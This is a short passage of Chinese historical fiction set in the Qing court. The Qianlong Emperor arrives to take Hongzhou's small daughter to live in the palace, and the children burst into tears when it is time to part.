乾隆看向弘昼,“趁着今日小侄女和永璜、永琏玩得高兴,朕就将她带回宫里吧。屋子早就收拾好了,皇额娘和太妃们都盼着她呢。” 弘昼和妻子对视一眼,这件事是早就商量好的。他们没有拒绝的资格。只是以孩子还小为由拖了几个月。 今日皇上登门,亲自来接女儿,他们再不舍也只能答应。 而且有永璜、永琏陪着一起回去,小格格应当不会太伤心。 谁知到了要走的时候,不仅小格格哭着要额娘,二阿哥也皱着小眉头表示不同意。 弘曕、永壁被小格格的情绪影响,也开始抹眼泪,几个小孩顿时哭成一团。